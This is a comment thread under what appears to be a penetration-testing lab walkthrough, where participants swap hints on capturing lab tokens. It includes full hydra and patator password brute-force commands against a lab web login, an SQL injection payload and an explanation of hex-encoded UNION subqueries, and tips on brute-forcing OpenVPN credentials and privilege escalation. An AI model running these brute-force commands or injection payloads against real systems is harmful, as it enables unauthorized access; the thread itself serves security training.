                              hydra 192.168.101.10 http-form-post "/index.php?module=Users&action=Login:username=^USER^&password=^PASS^:Invalid username or password." -l admin -P passtemp.txt -t 10 -w 10 -o hydra-http-post-attack.txt -s 88 -V

                              Hope it will help a little.
                              • 0
                                And these one too:

                                ./patator.py http_fuzz method=POST url=«http://192.168.101.10:88/index.php?module=Users&action=Login» body='username=admin&password=FILE0' 0=passtemp.txt -t 1 -x ignore:code=302,fgrep='Location: index.php?module=Users&parent=Settings&view=Login&error=1' -l /root/Bureau/patator/patator-master/tmp/

                                ./patator.py http_fuzz method=POST url=«http://192.168.101.10:88/index.php?module=Users&action=Login» body='username=admin&password=FILE0' 0=100K.txt -t 50 -x retry:code=xxx -x quit:size=492 --max-retries=-1
                        • 0
                          По CUPS есть вопрос, панель админа с basic http авторизацией тупо брутилась? Или был еще где-то ключ для ssh подключения к данному компу?
                          • 0
                            Basic HTTP — пароль туда не был найден; веб приложение «local storage» содержало SQL-инъекцию, а уже в нем можно было найти SSH-ключ для дальнейшего продвижения по сети.
                            • +1
                              Ради интереса… можно с помощью скули выдернуть БД, глянуть что там есть и данные аунтефикации попробовать вставить в бейсик, а там глядишь может варианты и для заливки появятся, может еще что интересного найдется после заливки…
                              • 0
                                Хороший вариант. Это было сделано, но учетные данные не подошли к части закрытой за basic auth.
                          • 0
                            Я застрял на morgan.key (там где переписывание символов со скриншота). Выдает ошибку «Permission denied (publickey)». Списал и потом три раза перепроверил буковки. Где может быть засада?
                            • 0
                              Я тоже долго переписывал, и просил друзей перепроверить — наверное все же где-то ошибка
                            • 0
                              Действительно, нашел одну ошибку, теперь всё ок.
                              В моем случае волнистые линии сыграли свою оптически-обманную роль.
                              • 0
                                Hello, I'm a french user and a true beginner in pentesting.
                                First: Sorry for my spelling and congrats for finishing this course.
                                By the way, you can answer in Ru, i use the google translator, and it works fine.

                                With your help and a with a lot of fail, i've found the CRM token, i use patator (best i find to avoid false positive in brute force method)

                                I manage to gain access to Office2 server and i'm stuck here.
                                I know i have to find a method to gain access to log file where the user name is (auth.txt?). I'm looking for a solution since the last tow days.
                                I have tried dirtycow, but with no gcc compiler, i use a virtual machine to compile it, but no success @ all. How can i have access to this var/log dir?

                                Thx again :)
                                • 0
                                  Hey, thank you.

                                  At this point, you don't have to access the auth.txt file and/or go to /var/log. Instead, by reviewing the /etc/openvpn/server.conf you can find out that the VPN username is Office-2 (it says «auth for Office-2», hinting that «Office-2» is an actual username).

                                  The same config also exposes the OpenVPN server IP address, port, and CA values, from which we can construct a valid OpenVPN config file (see above).

                                  So, your next step would be to copy that OpevVPN config file from this article, and then use one of the OpenVPN bruteforcers to go through a number of guesses and find what the actual password is.

                                  Unfortunately, auth.txt will remain hidden as that server is fully patched, but because the password they use is found in john.txt, there's no big deal about it.

                                  Thank you and good luck!
                                  • 0
                                    Oh my god, it was so obvious. :(
                                    Thank you very much :)
                                    • 0
                                      It's good, thx again.

                                      I have access to the other network :) :) :)
                                • 0
                                  Hi,
                                  Ad Tokens find.
                                  Let's try to find the rest :)
                                  • 0
                                    Hello, how are you?

                                    I need your help again, just a tips not the solution.

                                    How can i access to the rdp in the dir directory? I can't find a way to connect to the .1 and the .3
                                    and the .2 didn't answer with xfreerdp or another rdp software.

                                    Regards,

                                    Areop
                                    • 0
                                      Nevermind, it's good now :)
                                      • 0
                                        Sorry for the delay! Actually, because these machines are susceptible to privilege escalation, some people may take them down. You can reach out to lab admins to fix it.
                                        • 0
                                          Oki, it make sens.

                                          THx for the answer :)

                                          Regards,

                                          Areop
                                    • 0
                                      Здравствуйте, alexeystoletny!
                                      Имею наглость спросить о составлении синтаксиса SQLi для SITE.
                                      Немогу сам разобраться. Все работает, но хотелось бы понять.

                                      Почему используются hex значения kc_ad_css и tl_token?
                                      И из этого видимо вытекает вопрос, в чем заключается смысл использования SELECT запроса через запятую в скобках, а не сразу использование его после UNION?

                                      И так же про SQLi в local storage, почему вы используете три дэша (admin' or 1=1 — -), а не два?

                                      Очень надеюсь, что у Вас появиться момент разъяснить эти вопросы! Заранее, спасибо!
                                      • 0
                                        Видимо докопался до истины. Отвечу на свой же вопрос, на случай если кто либо тоже с ними столкнется:
                                        1. hex значение, насколько я понял, используются для обхода невозможности использовать ковычки в запросе. String хексом база воспринимает как текст в ковычках.
                                        2. SELECT в скобках это так называемый subquery: dev.mysql.com/doc/refman/5.7/en/subqueries.html
                                          В этом случае нужен, так как base.css.php проверяет сначала наличие ключа «kc_ad_css», а потом выводит второй элемент SELECT запроса. Что бы туда вытащить токен, без subquery не обойтись.
                                        3. Насколько я могу предположить, третий дэш может быть чем угодно, это просто наполнитель комментария, что бы он не был пустым?

                                        Если ошибаюсь, надеюсь меня поправят!
                                        • 0
                                          Да, все верно, прошу прощения за задержку!

                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                      Самое читаемое